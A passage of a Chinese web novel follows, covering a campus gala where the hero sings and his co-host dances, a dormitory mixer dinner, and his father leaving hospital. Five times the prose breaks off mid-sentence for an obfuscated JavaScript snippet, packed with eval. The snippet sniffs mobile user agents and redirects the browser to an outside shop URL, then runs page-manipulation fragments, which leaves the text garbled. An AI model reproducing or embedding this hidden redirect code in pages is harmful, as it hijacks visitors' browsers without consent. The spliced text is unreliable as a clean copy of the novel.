“**,那不是涛哥么!”于鑫一巴掌拍在李靖大腿上,“涛哥不是天天去图书馆苦读么?咋混进文艺界了?” 李靖把他的手扒拉开:“拍你自己的腿去。”他盯着台上看了几秒,“涛哥不地道啊,这么大的事都不跟寝室兄弟们露个口风。” 楚强从兜里掏出一个望远镜,举起来看:“是韩学涛没错。但衣服不是他的,换了马甲。” 巴辉眼睛都直了:“强哥,**还带望远镜来了?给我看看!” 他抢过望远镜,对着台上瞄了两眼,然后望远镜的焦点就没落在韩学涛身上。 “涛哥旁边那个女生不错啊,”巴辉边看边说,“绝对的校花级别!不知道是哪个系的?” 望远镜被几个人抢着看了一圈,没人看韩学涛,全在看展雪。 台上,展雪已经开口了。 她不看手卡,词儿背得滚瓜烂熟,声音清脆,语调标准。说完自己的部分,她轻轻拉了一下韩学涛的西装袖口,提醒他该接了。 韩学涛开口。 展雪耳朵一动。 不对。 排练的时候,韩学涛的声音总是不够抑扬顿挫,是那种平静中带着压力的感觉,像访谈节目,不像晚会主持。她说了几遍,都改不过来。 但现在—— 他的语调提起来了! 虽然还不是那种专业晚会主持的情绪饱满,但跟排练时完全不一样。那种平静中带着压力的感觉还在,可语气不是那么平了,反而凸出了一种优势。 压得住台。 而展雪本来上台还有点紧张的,但听了韩学涛的声音后,心里那点微微的紧张,忽然就散了。 她偏头看了韩学涛一眼,他正对着台下说话,侧脸的轮廓在灯光下格外清晰。声音从她耳边过去,稳稳的,沉沉的,像是能托住什么东西。 她接下来的串词,忽然就顺了。笑容自然地也回到脸上。 报完幕,第一个节目是大合唱。两个人退 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428330|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到后台,展雪轻轻吐了口气。 “行啊你。”她说,“一上台就跟变了个人似的。” 韩学涛说:“答应了的事,总得做好。” 他确实没法像别的晚会主持那种假嗨,但既然答应了李曼,总不能掉链子。 节目一个接一个上演。 韩学涛发现,这届新生里还真有不少人才。 有个男生上去吹笛子,吹的是《牧民新歌》,笛声清亮,很有功底。有个女生弹琵琶,《十面埋伏》,手指翻飞,台下掌声一片。还有几个男生组了个小乐队,翻唱了一首黑豹的《无地自容》,把气氛直接推到高潮。 展雪和韩学涛串词也越来越放松。到后面,两个人甚至能脱离手卡,台上现挂。 “下面这个节目......”展雪低头看手卡,“是校园诗社选送的新生作品。” 韩学涛:“诗社?那肯定朗诵。” 展雪没接话,继续盯着手卡,表情逐渐困惑。 韩学涛等了两秒:“……怎么?忘词了?” 台下哄笑。 展雪把手卡递给他:“你自己看。” 韩学涛接过来,念出声:“独舞。霹雳舞。”他顿了顿,抬头看向展雪,“这是诗社?” 展雪故意露出迷惑的表情:“所以诗社的意思,现在是‘诗在肚子里,腿在脑子里’?” 韩学涛说:“也可能是终于有人发现,写诗和跳霹雳舞有一个共同点——” 展雪:“什么?” 韩学涛:“都是在地上打滚。” 台下一片哄笑! 展雪也笑了:“这话别让诗社听见。” 韩学涛指着手卡:“他们送的节目单。” 展雪笑着转向观众:“行吧。那咱们就看看,这位在地上打滚的诗人,是怎么用后背写十四行诗的。掌声给这位跨界诗人——” 两个人退到台侧。 音乐响起。 一个身影从台后走出来,穿着一身宽大带亮片的衣服,帽子压得很低。 他走到舞台中央,站定,抬手把帽子摘了—— 小白! 韩学涛愣了一下。 事先他真不知道,这个跳舞的是周晓白,手卡上只写“诗社选送”,没写名字。 小白还会霹雳舞? 音乐一变,周晓白在台上动了。 他的身体像被电流击中,每一个关节都在震动,从肩膀到手腕,从腰胯到膝盖,太空步滑出去,全场倒吸一口凉气。 小白跳得兴起,把外套脱了一扔,露出里面的紧身背心。动作越来越大,越来越狂放,整个人像是燃烧起来! “******!”于鑫从座位上蹦起来,指着台上,“那是小白!” 李靖张大嘴,半天合不上。 巴辉举着望远镜:“没想到啊,我们寝室最狂野的竟然是这小子?” 楚强说:“他敢跟封建家庭**,你敢吗?” 三分钟,没有一刻冷场。 最后一个动作定格,全场静了两秒,然后掌声和尖叫一起炸开了。 后台,韩学涛看着台上小白,也是觉得人不可貌相。 第52章 梦底 汇演进行到一半,李曼匆匆走进后台,脸上带着急色。 “11号节目建工系的人来没来?” 展雪正在补妆,一听这话手顿住了,扭头冲旁边一个戴着工作牌的男生喊:“建工系的李阳和周志呢?马上该他们上台了!” 那男生正低头看手里的调度板,闻言抬起头,脸色有点发白。 “他们……请假了。” 展雪手里的粉饼差点掉地上:“请假?跟谁请的假?为什么不告诉我!” 男生咽了口唾沫:“我也是刚才在后台才知道的。他们人没来,托他们系一个同学过来说了一声。” “马上该他们上场了,才来请假?自己不出现,找人说一声就完了!”展雪脸色铁青,气得够呛。 李曼说:“能不能补救?把后面的节目往上提?” 展雪摇头,指着舞台方向:“音乐都是设定好的。每个节目对应哪首曲子,提前跟音响那边对过,顺序全写在他们的本子上。临时改,那边根本反应不过来。就算音乐不放,这段时间也得空着。” 李曼想了想:“上备用节目呢?弄个语言类的,不用音乐。” “后面的语言类节目也需要上道具,而且舞台已经给他们布置好了。”展雪往台上看了一眼,“你看——” 韩学涛顺着她的目光看过去。 舞台上,麦克风架已经支好,一把电吉他放在架子上,灯光也调好了,暗蓝色的光打在乐器上,静静等着它们的主人。 可现在,主人没了。 李曼急得直跺脚:“那怎么办?要不你们在台上多拖几分钟?拖到下一个节目上场?” 展雪苦笑:“只能这样了。可下面的同学看见台上那些乐器,却等不来人演奏,就直接撤下去,会穿帮的。” 不远处,几个正准备上场的同学面面相觑;音响师从控制台后探出半个身子;学生会的几个人拿着对讲机跑来跑去,也不知道在讲些什么。 这时候韩学涛开口了。 “也不是没办法。”他说,“后台音乐不放,找个会弹吉他的上去来一首弹唱,这个节目就算过去了。” 展雪立刻转身冲着后台喊:“谁会弹吉他?上去唱首歌!” 没人应声。 后台一片安静。那几个刚才还在聊天的同学,这会儿全低下头。音响师默默缩回控制台后面。学生会的人继续跑来跑去,反正没人往这边看。 李曼不甘心地扫了一圈,最后还是泄了气。 “算了。”她说,“你们两个上去串词吧,插科打诨把这几分钟拖过去。穿帮也顾不上了,没人上台空着更难看。” 韩学涛叹了口气。 他把手卡往西装口袋里一装,迈步往台上走。 李曼愣了一下:“你干嘛?” 韩学涛没回头。 他走到舞台中央,走进那束蓝色的灯光里。麦克风架立在那儿,电吉他在架子上静静等着。 他对着台下摊了摊手。 “这次没有手卡。” 底下有人笑。 他拿起那把电吉他,坐下来,从容不迫地调整麦克风的高度,拨了拨琴弦试音。 台下这才反应过来——这主持人要亲自上! 后台,李曼和展雪并排站着,看着台上那个正在拨弄琴弦的身影。 李曼微微张着嘴:“他会?我怎么不知道他还会弹吉他?” 展雪没回答。她盯着台上,眉头微微皱着。 “不行。”她忽然说,“这样还不行。” 李曼扭头看她:“怎么?” 展雪指着舞台:“原本是建工系两个人表演,灯光会在左右两边切换。一会儿灯光晃过去,他那边就黑了,右边还是空的——原本有个人在那儿吹唢呐。” 李曼表情一呆。 展雪看着台上,看着那个正在低头拨弦的身影。他弹着前奏,旁若无人,好像台下两千多人不存在似的。 她一咬牙,脱掉高跟鞋,赤着脚往台上走去。 前奏弹完,韩学涛开口唱了—— “一千一百零一次夜里, 你的轮廓又潜入梦底, 若即若离轻藏着身影, 但我确信那人就是你……” 这首歌,是他上一世听的最后一首歌。 那时他在飞往港岛的飞机上,浩瀚的太平洋之上,三万英尺的高空,窗外电闪雷鸣。耳机里就是这首歌。 一切都像一场梦。 他从来没唱过,也从来没弹过,可莫名其妙就是很熟悉。熟悉到看见那把在蓝色灯光下的电吉他,就有一种想唱出来的冲动。 刚唱完第一句,灯光忽然灭了。 他整个人陷入黑暗。 但紧接着,另一束光在舞台右边亮起。 展雪站在那束光里。 一身白裙,赤着脚。 她听到韩学涛唱的第一句,就感觉像有电流穿过身体,肌肤上一片酥麻。 然后她动了起来。 跟着歌声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428331|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着吉他的旋律,开始跳舞。 台下像被泼了开水,哗的一声炸开,然后又集体安静下来。两千多双眼睛,一眨不眨地盯着舞台。 “对不起是我弄丢了你, 你曾经为我翻山越岭, 而我总让你红着眼睛, 现在清醒却已来不及……” 韩学涛沉浸在自己的歌声里。 他想起很多事。上辈子的,这辈子的。那些死去的兄弟,爱过的女人,那些背叛,那些信任,那些再也回不去的。 都在歌里。 “我们或许不会再相遇, 人来人往四季中老去, 何其有幸你出现梦里, 何其不幸你只在梦里……” 展雪跳着跳着,眼眶忽然湿了。 她不知道自己在跳什么,身体比脑子先动起来。但一举手,一投足,每一个旋转,都裹着某种浓烈的情绪。那情绪不是她的,是从歌声里、从那个弹吉他的男生身上涌来的。她只是接住了它,然后任凭它从自己的身体里流泻而出。几个动作之后,大腿便开始不受控制地颤抖。 台下没有人说话。 舞台上的两个人,一个弹着吉他唱歌,一个赤着脚跳舞。灯光在他们身上流转,忽明忽暗,如梦如幻。 一首歌唱完,韩学涛放下吉他。 在舞台另一侧,展雪收回前伸的手,捂住脸缓缓蹲在舞台上。 掌声雷动。 韩学涛站在舞台中央,耳朵里却像是隔了一层膜——所有的掌声、口哨、欢呼都变得遥远而模糊,像飞机舷窗外那些无声的闪电。 他放下吉他,机械地朝观众点了下头,然后转身往台下走。 走了两步,脚步顿住。 展雪还蹲在舞台另一侧。 光着脚,白裙铺在地上,整个人蜷成一团。黑暗里,肩膀还在微微发抖。 韩学涛走到她身边:“哎。” 展雪抬起头。 眼眶还是红的,睫毛一颤一颤,但她在笑,有点不好意思。 “扶我一把。”她伸出手,声音哑哑的,“我脱力了。” 韩学涛握住她的手腕,另一只手托住她的胳膊肘,把她从地上拎起来。 展雪站起来的时候晃了一下,下意识扶住他的肩膀。 “走。”韩学涛架着她的胳膊往台下走。 “你手怎么这么凉?”展雪问。 “你脚才凉。” “我没穿鞋。” “……那你倒是穿啊。” 第53章 联谊寝室 迎新晚会后第二天,香满园。 203寝室的人提前到了包间。于鑫绕着大圆桌转了一圈,忽然开口:“咱们别挨着坐。” 李靖问:“那怎么坐?” 于鑫比划着:“男生坐半边,女生坐半边,一会儿进来一看跟太极图似的,傻得很。咱们隔一个坐一个,等她们来了让她们自己选位置。她们不是要面试吗?那就挑呗。” 几个人互相看了看,觉得有道意思,开始找位置坐下。 十分钟后,包间门被推开。 一个扎马尾的女生探头进来,扫了一眼屋里的情形,愣了一下,然后转身就出去了。 门外传来叽叽喳喳的声音。 包间里,于鑫和李靖交换了一个眼神——这些女生不会不进来就走了吧? 又过了两分钟,女生们陆续进来了。 第一个进来的还是那个扎马尾的女生。她扫了一圈,直接走到周晓白和赵江中间的空位坐下,大大方方开口:“我叫许秋,文学社的。” 大家明白了,这就是小白最早联系的那个女生,喜欢摄影那位。 接着又进来一个,个子高挑,笑起来眼睛弯弯的。她看见屋里座位的排布,笑了一下,然后把在坐的203男生挨个打量了一圈,走到楚强和老谢中间的空位坐下。 “我叫袁圆。”她说,声音清脆。 女生一个接一个进来,把空位一个个填满。 但韩学涛身边两个位置一直没人坐。 于鑫说:“涛哥,你这长相是不是过气了?” 韩学涛没理他。他注意到有几个女生看着眼熟,好像昨晚在后台见过。不过不记得哪个节目了。 不得不说,这个女生寝室的颜值确实高。就进来的这几个,随便挑出一个到地质系都能当系花。能把这么多美女聚到一个寝室,概率确实挺低。难怪连政管系和外语系的男生都看不上。 正想着,又进来一个女生。 她站在门口扫了一圈,目光在韩学涛身上停了一秒,然后走到他左边的空位坐下。 “大家好,我叫孙婷婷。”她转头看向韩学涛,“我也是东林人,咱们是老乡。” 巴辉接话:“老乡见老乡,两眼泪汪汪。” 孙婷婷笑了一下:“流泪不是女人的天赋,笑才是。” 一句话把巴辉堵了回去。 韩学涛看了孙婷婷一眼,知道这是哪一位了,在包达的资料里看过。 财政局长的女儿。周承以前追的那个。现在想来,周承一点要上宁海大学,估计也是为了她。 没想到这么巧,她竟然是405寝室的。而且听她说话的意思,好像知道自己。 可自己算计周承的时候,从来没跟孙婷婷打过交道。她怎么知道的? 答案紧接着就揭晓了。 最后一个女生走进来。 门推开的那一刻,203寝室几个人都愣了一下。 展雪。 她穿着一件浅色的裙子,头发披着,比昨晚在台上多了几分随意。看见屋里的人,她笑了一下。 “就剩一个位置了,那我就座这儿吧。” 她在韩学涛右边的空位坐下,然后看向大家:“我是展雪。如果你们昨晚去看了新生汇演,那应该和我们不是第一次见面。昨天晚上有个天鹅舞,就是我们寝室跳的。” 大家恍然大悟。 昨晚那个天鹅舞,几个女生穿着白裙在台上翩翩起舞,确实惊艳了不少人。 那支舞405的女生都上了,除了展雪。她给韩学涛伴舞之后消耗太大,一时半会儿恢复不过来,后面能坚持完整场晚会的报幕就不容易了。 韩学涛看了展雪一眼,又看了看孙婷婷。 这么巧,找到展雪的寝室,孙婷婷也在这儿。那孙婷婷知道自己是东林的就不奇怪了——她跟展雪是室友,甚至可能认识李曼。 这些女生都不拘谨,而且个个长得好看,气氛很快热了起来。 老谢站起来:“我去加几个女生爱吃的菜,再来两箱啤酒。女生喝什么?” 展雪说:“你们喝什么我们就喝什么。” 于鑫叫板说:“那要不来白的?” 展雪无所谓,“随你们。” 老谢摆手:“毕竟是校内,还是啤的吧。要喝白的,以后校外聚餐再喝。” 酒上来,杯子一端,场上的形势就明显了。 许秋和周晓白聊得旁若无人。她跟旁边的赵江碰了一下杯子之后,基本没怎么跟赵江说过话。 赵江另一边坐的女生叫徐爽。徐爽明显对右边的楚强话说得更多,时不时侧过身去跟他聊几句。 袁圆也是,她对楚强的兴趣比对老谢大得多。老谢跟她碰了杯,她礼貌地回应,然后继续跟楚强说话。 小巴和老谢中间坐着周兰。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428332|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周兰偏向老谢。 隔一个位置,小巴和李靖旁边坐的女生叫高洋。高洋跟李靖聊打游戏,从红警聊到仙剑,聊得热火朝天。 于鑫旁边是找孙婷婷和胡荔荔,他找孙婷婷搭了两句话,感觉对方兴趣不大,果断转去另一边跟胡荔荔聊天。胡荔荔是倒数第三个进来的女生,齐耳短发,笑起来有两个酒窝。 这样一来,203这边,赵江和小巴比较受冷落。女生这边,孙婷婷话比较少,大多数时候只是听着。 韩学涛坐在展雪和孙婷婷中间,但跟展雪的话明显更多。 “昨天你唱那首歌,是你自己写的吗?”展雪问。 韩学涛摇头:“不是。” 展雪问:“那是谁的歌?我以前没听过。而且我问了我们文艺部的人,没有一个人知道的。” “我一个朋友写的。”韩学涛说,“我听着挺好听,就拿来唱了。” 展雪眼睛说:“那你这个朋友挺有才华的。是我们学校的人吗?” “不是。” “那你可以让你朋友去版权局登记一下。”展雪认真地说,“免得被别人捞走了。这种好歌,万一被谁听见,直接拿去用了,都没处说理去。” 韩学涛心里微微一动。 版权登记? 他脑子里可记着不少后世的好歌。要是现在都注册成版权,以后授权给那些明星歌手演出、出专辑,岂不是躺着来钱的渠道? 这倒是个路子。 他点了点头:“回头我跟他说一声。” 展雪去洗手间。 她刚走,孙婷婷就对韩雪涛说:“你找我们寝室做联谊寝,不怕李曼吃醋吗?” 韩学涛看她一眼:“你认识李曼?” 孙婷婷说:“小时候我们两家很熟。后来搬家了,才慢慢减少联系的。” 韩学涛心想,和自己猜的差不多。孙婷婷她爸是财政局局长,李曼家应该也是体制内的,而且职级也不会差。 孙婷婷推他胳膊一下:“我问你话呢。你为什么不找李曼她们寝室做联谊寝?你们高中是一个班吧?” 韩学涛说:“你们寝室不是我联系的。是小白找了许秋。” 他顿了顿,看着孙婷婷:“至于你说李曼吃不吃醋,我觉得你想多了。” 孙婷婷歪了歪头:“为什么?” “我是特困生。” 孙婷婷愣住了。 第54章 复杂的女生寝室 聚餐临近结束,于鑫端着酒杯站起来。 “各位主考官,我们203有没有通过你们的面试?给个准话吧。” 许秋笑了:“这事儿是我和小白牵头的,回去我们商量一下,回头打电话给小白。” 女生们陆续离开,203一帮人晃晃悠悠回了寝室。 门一关,两边卧谈会同时开张——都在聊对方寝室。 小巴先开口,一脸苦相:“我想回去复读了。” 李靖问:“怎么了?” “感觉她们拿我当弟弟。”小巴叹气,“全程没人正眼看我。” 韩学涛靠在床头:“你复读一年也不够。复读两年,再上大学就流行姐弟恋了,怎么办?” 小巴苦着脸:“不能吧?” 李靖说:“复读个屁啊,等两年你去找新入校的学妹不就好了?” 于鑫接话:“老谢现在正当龄,我看跟周兰聊得不错。” 老谢笑呵呵的:“还行。这女孩刚进大学,可能挺没安全感的,把我当哥哥。” 于鑫一拍床板:“听听!不愧是宿舍长啊,已经开始哥哥妹妹的称呼起来了!” 老谢摆手:“别光说我,我看你和胡荔荔聊得也不错。还有李靖和高洋,那不也是热火朝天的。” 李靖说:“我们聊了一晚上打游戏,没说什么实质性内容。” 于鑫斜眼看他:“你还想怎么实质啊?直接出去包夜呀?” 李靖说:“你的思想太龌龊。” 于鑫不理他,继续说:“不说你们了,咱们这边最抢手的还得是涛哥和强哥。整晚就是1V2。涛哥就不说了,肯定是展雪。”他转向楚强,“强哥,你那边怎么回事儿啊?” 楚强躺在床上,面无表情:“徐爽还可以。” 寝室安静了一秒。 然后爆发出笑声。 “**!”于鑫笑得直拍床板,“强哥你这‘还可以’是什么标准?” 李靖问:“袁圆怎么不行了?第二个进来,直接就座你旁边了。” 楚强沉默了两秒,开口:“她太单纯了,我不忍心伤害她。” 又是一片“**”。 小巴一脸迷茫:“啥意思啊?” 老谢冲楚强伸出大拇指:“这才是境界。我们都差得远。”他拍拍小巴的肩膀,“学着吧。” 405寝室的门一关上,许秋就转身问:“姐妹们,可以发表意见了?怎么回复他们呀?” 展雪靠在床架上,淡淡说了一句:“就他们吧。” 话音刚落,屋里就炸了。 “哟——”高洋拉长了声音,“展部长这是找到校草就不顾寝室其他姐妹了?” 周兰跟着起哄:“有异性没人性啊!我们还没表态呢,你这就定了?” 徐爽笑着接话:“人家昨晚在台上又弹又唱,今天又坐一块儿聊了一晚上,不定才怪呢。” 展雪也不恼,等她们闹够了才开口:“我只说我的意见,又没堵着你们的嘴。到时候少数服从多数。” 许秋看向孙婷婷:“婷婷,你的意见呢?你坐韩学涛左边的,是不是也对校草有兴趣啊?” 孙婷婷正对着镜子擦脸,闻言手上的动作没停:“谁都知道我喜欢有钱的。他是特困生。” 屋里安静了一瞬。 几个女生互相交换了眼神,然后不约而同看向展雪。 405寝室明面上的领头人就是展雪和孙婷婷。展雪漂亮有才华,文艺部副部长;孙婷婷家庭条件好,女生部副部长。两个人平时就有点别苗头,这是大家都知道的事。 今晚展雪和韩学涛聊得明显更好,孙婷婷这时候来一句“他是特困生”,多少有点落展雪面子的意思。 展雪笑了一下,轻松说道:“你们不会真把这当成面试吧?或者当成相亲了?找联谊寝室是一起玩,不是找人进洞房的。我还没渴望男人到这个地步。” 这话说得轻描淡写,但刀锋也明显——谁渴望男人谁知道。 孙婷婷把擦脸巾放下:“那就他们吧。外语系和政管系那两个寝室我也没看上眼,这边好歹有个老乡可以说说话。” 针尖对麦芒,谁也不肯示弱。 展雪看向其他人:“你们呢?徐爽,袁圆?” 徐爽开口:“可以。楚强像我高中时谈的前男友,挺酷的那种男生。” 袁圆脸色微微一变,嘴唇抿了起来。 高洋说:“我没意见。他们203男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428333|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生确实比以前接触的那几个寝室有意思一些。” 周兰接话:“他们寝室男生都不端着。那个老谢年纪最大,复读过两年——这种好像有点丢脸的事,他也不避讳,挺坦荡的。” 孙婷婷点名:“袁圆,别闷着。说话呀!” 袁圆感激地看了孙婷婷一眼,说:“我听大家的。以前高中的时候跟男生接触比较少,情书收了一大堆,但是一封都没看过。” 这话一说,屋里气氛微妙起来。 情书收了一大堆——那是冲着徐爽那句“像我高中时谈的前男友”去的。 没一个省油的灯。 还剩下两个人没表态:胡荔荔和许秋。 大家的目光转向胡荔荔。 胡荔荔耸耸肩:“你们都同意了,那我反对也没用。说实在的,里面没有我特别感兴趣的人。不过就像雪儿说的,大家一起玩,也无所谓了。” 许秋说:“那就全员同意。明天我给小白打电话。” 第二天下午,许秋打电话到203寝室,通知周晓白她们寝室同意了联谊的事。 下次活动由女生安排,男生不用出钱,到时候出力气就行。至于具体什么活动,许秋卖了个关子——保密。 消息很快在地质系传开了。 203寝室跟经管系那个跳天鹅舞的女生寝室搞成了联谊,这在狼多肉少的地质系引起了一阵小轰动。新生汇演上的小天鹅舞不少人看过,虽然离得远看不清脸,但光看身段也足够秒杀地质系了。 这样一个优质寝室,怎么会看上地质系的男生? 小天鹅集体瞎了么? 很快就有人把原因归结到韩学涛身上——展雪也是那个寝室的,而韩学涛跟她一起主持了晚会,还在台上合作过。这不摆明了是韩学涛牵的线么? 于是陆续有地质系其他寝室的男生找上门,厚着脸皮让韩学涛帮忙联系联系其他女生寝室。反正新生汇演那么对多女生,分一个出来也行啊。不能你们203脱贫了,就不管系里其他苦难弟兄了也呀! 韩学涛一律拒绝。 这事从头到尾他都没多说一句,怎么就扯到自己头上来了? 要泡妞自己去泡! 第55章 给家里的盘算 韩学涛才懒得管系里那些牲口。 谁发情谁开屏,跟他有个毛线的关系。 今天他有正事——接父亲出院。 韩德富手术后恢复得不错,总算可以出院了。正好赶上周末,韩学涛一早就往医院赶。 到病房的时候,父母已经收拾好了。赵秀荣动作麻利,提前两天就把该捎带的东西都搬回了家,现在就等儿子过来。 “手续都办完了,走吧。”韩德富看见儿子,脸上笑开了花。 走出病房门,正碰上曲主任和护士长。 曲主任笑着招呼:“老韩,儿子专门从大学跑来接你,孝顺啊。以后就等着享儿子的福吧。” 护士长在旁边接话:“小韩是真不错。也就我家女儿年纪小了点,不然我都愿意找小韩给我当女婿。” 话音刚落,一个年轻护士路过,闻言停下脚步:“护士长,你女儿不是小一点吧?我怎么记得你女儿才六岁?” 护士长理直气壮:“六岁怎么了?就小韩这学历、这长相,我都愿意我女儿去给他当童养媳!” 这话一出,连曲主任都笑了。他转头对韩德富和赵秀荣说:“听听护士长这话,你们以后儿媳妇是不用愁了。我家那个小子就不行,我跟他妈现在天天担心他以后找不着对象。” 又有个中年护士经过,笑着插了一句:“怎么不用愁?小韩这样的,以后不知道得招多少女孩子喜欢。有的父母愁呢。” 韩德富和赵秀荣听着这一句句都是在夸儿子,心里乐开了花,也不接话,就是嘿嘿干笑。 韩学涛冲曲主任、护士长都道了谢,一家人这才离开医院。 回到他做主买下来的小屋,韩德富站在门口打量了一圈。屋顶重新修缮过,墙上也刷白了,虽然地方小,但收拾得干干净净。 “这段时间辛苦你们娘俩了。”他走进去,在床边坐下,“回头我去找点活儿。这趟住院花了不少钱,怎么着也得把小涛后几年的学费挣出来。以后咱们一家就在这宁海安家吧。” 赵秀荣愣了一下:“真不回东林了?” 韩德富摇头:“回去干啥?咱家父辈本来就是从宁海去东林的,现在也算是落叶归根。再说了,小涛以后大学读出来,还能再回东林那小地方?自主择业肯定是要留在大城市。” 韩学涛点点头:“爸说得对。东林那地方,待着是舒服,但没什么发展。宁海不一样,机会多。你们留下来,我在这儿读书,也能照顾着点。等过几年我毕业了,咱们在这边站稳脚跟,比什么都强。” 赵秀荣想了想,说:“宁海家里还有很多东西没拿过来呢。” “那倒是要拿过来,不然就浪费了。”韩德富说。 韩学涛摇头:“离得太远,搬一趟费事。” 他主要是担心父亲的腿刚好,别再因为搬家出什么事。再说那些老家具本来也不值什么钱,没必要折腾。 赵秀荣说:“主要是我那台缝纫机得拿过来,不然在宁海都没法接活。” 韩学涛一愣:“妈,你在这边还接针线活呢?有吗?” “有啊,怎么没有?”赵秀荣理所当然地说,“现在哪个家里不要补衣服、做衣服?老的改小,小的放大,旧衣服翻新款式。老在外面买新的,谁家有那个家底儿?” 韩学涛一想,还真是这么回事。 九六年,网购还不知道在哪儿。大多数家庭不富裕,一年能进一两次商场就不错了。很多人还在国营厂里窝着,拿着死工资,过日子精打细算。衣服破了补一补,大了改小,小了放大,都是常事。 真正的大变化,要等中国加入世贸组织之后。到那时候,整个社会才会剧烈变化,经济开始突飞猛进。 现在,还处在变化的前夜。 韩学涛心里忽然有了个主意。 他看向父亲:“爸,你会修电器吗?” 韩德富一听这话,腰杆都挺直了几分。 “怎么不会修?”他拍着大腿,“你别看你爸现在是在化肥厂当电工,以前也是见过世面的。八十年代初,我在宁海无线电厂干过,专门搞收音机。后来纺织机械厂刚起来那会儿,又去那边待了两年。那时候厂里请苏联专家来讲课,我跟着学了半年。后来又有德国师傅来调试设备,我也跟着打过下手,后来又去了宁海电视机厂!” 说到这,韩德富语气里带着点遗憾:“当年本来是准备留宁海电视机厂的,岗位都定了。结果东林那边要搞化肥厂,组织上专门找我谈话,说那边进口的机器缺个懂行的师傅,让我过去支援建设。要不然,我跑东林去干嘛?” 韩学涛点点头:“那您懂电机,缝纫机会修吗?” 韩德富笑了:“缝纫机?那玩意儿简单得很,脚踩的,又没电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428334|200898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,就是机械传动,有啥不会修的?” 韩学涛说:“老式脚踩的,要不了多久就得淘汰。往后流行的,是电机的缝纫机。” 他转向赵秀荣:“妈,你要在宁海这边接活,想干得又快又好,还是得换装备。” 赵秀荣有点迟疑:“行吗?没见市面上有卖的呀。再说,估计也不便宜。” 韩学涛说:“我听我们学校老师讲过,沿海那边已经有了。一些纺织厂开始用电机的缝纫机,生产衣服出口。据说比脚踩的快多了,效率高,做出来的活儿也细。” 他顿了顿:“回头我帮你问问。” 他心里有本账。 像以前在东林那样,接活回家做,靠体力赚钱,能赚多少?一个月百来块撑**。母亲要真想在这边站稳脚跟,转型是必然的。 但这话不能直说。现在说出来,母亲肯定接受不了。 先从缝纫机切入,等她用上了电动的,自然就知道好处了。到那时候,父亲这边顺便也有了赚钱的路子——修电机、修缝纫机,活儿多的是。 他在心里又把这事儿盘了一遍,觉得机会不错,而且适合父母。要是把握住了,自家也算上个台阶。 在家吃了顿饭,韩学涛跟父母说要回学校,出了门。 但他没往学校方向走。 自行车调个头,吭哧吭哧骑了快一个小时,到了宁海南塔桥附近。 这一片是老居民区,巷子又窄又深,两边是老旧的平房和小楼。他七拐八绕,路过一个炸萝卜丸子的店——油锅支在门口,香味飘得老远——又拐进一条更窄的巷子,才看到一栋二层小楼。 这里以前是铁路职工宿舍,现在铁路职工都搬走了,住的全是外来户。 韩学涛刚上二楼,楼梯口还没转弯,一个人影猛地冲出来,差点撞他身上。 是个年轻女孩,看着只有十六七岁。 穿着紧身的短上衣,下面是条包臀的裙子,脸上化着妆,眉眼描得挺浓。那种打扮,一看就是九十年代美容美发店里小姑娘的标配。 她走路匆匆,差点撞上,张口就骂:“怎么走路的?瞎了眼了......” 骂到一半,抬头看见韩学涛,愣住了。 是个小帅哥。 她张了张嘴,后面的话卡在喉咙里,没再吱声。 顿了两秒,她低着头,想从韩学涛身边绕过去。 第56章 发廊小妹 